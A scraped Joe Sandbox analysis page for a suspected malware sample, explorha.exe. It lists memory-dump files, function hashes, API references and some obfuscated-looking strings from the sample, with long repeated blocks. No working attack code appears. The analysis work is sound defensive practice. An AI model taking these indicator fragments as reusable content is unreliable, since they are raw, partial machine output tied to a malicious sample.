Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: O>H
API String ID: 2970364248-1411229764
Opcode ID: 8200384415aa404c8967e9331dcb127d5b0a8bde3327908c65375c63385c85ce
Instruction ID: 0f6b6f220230c4d9dab286ca6dd8d0eb1da00a82b9301d25cfebb87541fcae6a
Opcode Fuzzy Hash: 8200384415aa404c8967e9331dcb127d5b0a8bde3327908c65375c63385c85ce
Instruction Fuzzy Hash: B8718F71E002589FDB04CFA8C981BDDFBF4EF59310F14825AE805A7381EB75A944CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00AD31D0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 142COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00AD3244
__Mtx_unlock.LIBCPMT ref: 00AD32DF

Strings

O>H, xrefs: 00AD31E4, 00AD3293

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: O>H
API String ID: 1418687624-1411229764
Opcode ID: 8aed00cc71824f23835caf40ee798c73b1d301a83afaf3d597ddecd92764324f
Instruction ID: e752052318ee7ed0c7c8a5c4eef54137be4d0315de2d5d5110b19d4432f05502
Opcode Fuzzy Hash: 8aed00cc71824f23835caf40ee798c73b1d301a83afaf3d597ddecd92764324f
Instruction Fuzzy Hash: 25413672E01744ABCB20DB5A8E01B9FB7E8EF65720F00456AE80697741EB34AA04C6D2

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AD28DF

Strings

O>H, xrefs: 00AD2815
O>H, xrefs: 00AD28C4

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: O>H$O>H
API String ID: 2659868963-3663053369
Opcode ID: 9924f93ef4103ad139a850f01ccdf5a1b96915fb047f92ecc169a5579fa34af6
Instruction ID: 61d277ef477a0c979fc099250ce7706b8390ba0a2d51f045b056abda2fccce09
Opcode Fuzzy Hash: 9924f93ef4103ad139a850f01ccdf5a1b96915fb047f92ecc169a5579fa34af6
Instruction Fuzzy Hash: 8E31C5B2A10219ABC704DF58D840B9EFBF9FF49720F50425AF419E7780E774A940CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00ADDAEB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00ADDB4C

Strings

invalid stoi argument, xrefs: 00ADDD04
stoi argument out of range, xrefs: 00ADDCFA

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID: invalid stoi argument$stoi argument out of range
API String ID: 1418687624-1606216832
Opcode ID: d581928f857b4630ee43c5e98e99455c69615013d592e18fef3233122362a5e9
Instruction ID: 2d9ca070b6f5a1d6533e4604baeeb62307dfefa00b4c0f4e8305428bf79a21ca
Opcode Fuzzy Hash: d581928f857b4630ee43c5e98e99455c69615013d592e18fef3233122362a5e9
Instruction Fuzzy Hash: 7A11A532E002458BDF20DB65D841A6DB7F4EF44319F16846BE85677761DB36AC40CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00AD2A30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00AD2A63

Strings

O>H, xrefs: 00AD2A36
This function cannot be called on a default constructed task, xrefs: 00AD2A43

Memory Dump Source

Source File: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000002.00000002.1711130101.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711152742.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711213762.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711232758.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711254071.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711343192.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711362845.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711385713.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711403611.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711422496.0000000000CD0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711461545.0000000000CD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711479360.0000000000CD9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711501164.0000000000CEB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711518994.0000000000CEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711540643.0000000000D00000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711558854.0000000000D02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711576524.0000000000D04000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711592929.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711608796.0000000000D07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711627738.0000000000D18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711648792.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711669495.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711688882.0000000000D3B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711712968.0000000000D3F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711732736.0000000000D40000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711754907.0000000000D45000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711781923.0000000000D53000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711806944.0000000000D56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711878423.0000000000D57000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711901675.0000000000D58000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711925753.0000000000D5F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711948895.0000000000D63000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711969060.0000000000D6B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1711987980.0000000000D6D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712009702.0000000000D74000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712029441.0000000000D77000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712054340.0000000000D87000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712074145.0000000000D88000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712099954.0000000000D89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712120340.0000000000D8A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712145883.0000000000D8B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712169895.0000000000D8F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712197457.0000000000DA9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DAD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712222849.0000000000DBA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712275450.0000000000DE6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712303005.0000000000DE7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712334473.0000000000DE8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712353730.0000000000DED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712378793.0000000000DEF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712417506.0000000000DFE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1712437774.0000000000E00000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ad0000_explorha.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: O>H$This function cannot be called on a default constructed task
API String ID: 2659868963-1534918852
Opcode ID: 06cfe8eabd98e92ad3c58c74ceb4533a7d774dad96fce32bbd1e5cd00b80668d
Instruction ID: 257e53cb503a81b62df4f065b0e8d035d869eece841cceb278e469cf43b81233
Opcode Fuzzy Hash: 06cfe8eabd98e92ad3c58c74ceb4533a7d774dad96fce32bbd1e5cd00b80668d
Instruction Fuzzy Hash: 7EF0A7B1D1125C9BC714DF68984159EFBF8AF25700F5042EEE444A7200EBB01A548795

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: explorha.exePID: 7056, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.5%
Total number of Nodes:	2000
Total number of Limit Nodes:	157

Executed Functions

Function 00ADDD40 Relevance: 32.4, APIs: 2, Strings: 16, Instructions: 878COMMON

Download Yara Rule

Strings

Ef, xrefs: 00AE2A46
IJ==, xrefs: 00ADDDA5
246122658369, xrefs: 00ADF057, 00ADF334, 00ADFF07
4AJS7xCZFC =, xrefs: 00AE317A
Pgf, xrefs: 00AE2A23
vq, xrefs: 00AE2AF5
Sww=, xrefs: 00ADF03D, 00ADF31A
4AJS7teoFA==, xrefs: 00AE30DD
Szpk, xrefs: 00AE29F9
CgNm5NG2, xrefs: 00ADDD7F
6f78c5, xrefs: 00ADF4AE
SMs=, xrefs: 00ADFEEA
111, xrefs: 00ADF0C0
IzE+, xrefs: 00ADE034
#, xrefs: 00ADFF44
Qt==, xrefs: 00ADE322, 00ADE569, 00AE2A41

Memory Dump Source

Source File: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000006.00000002.2904464612.0000000000AD0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2904688254.0000000000B34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2905702073.0000000000B39000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906055753.0000000000B3B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2906534121.0000000000B47000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2908603359.0000000000CAA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909093671.0000000000CAC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2909479759.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2910363097.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
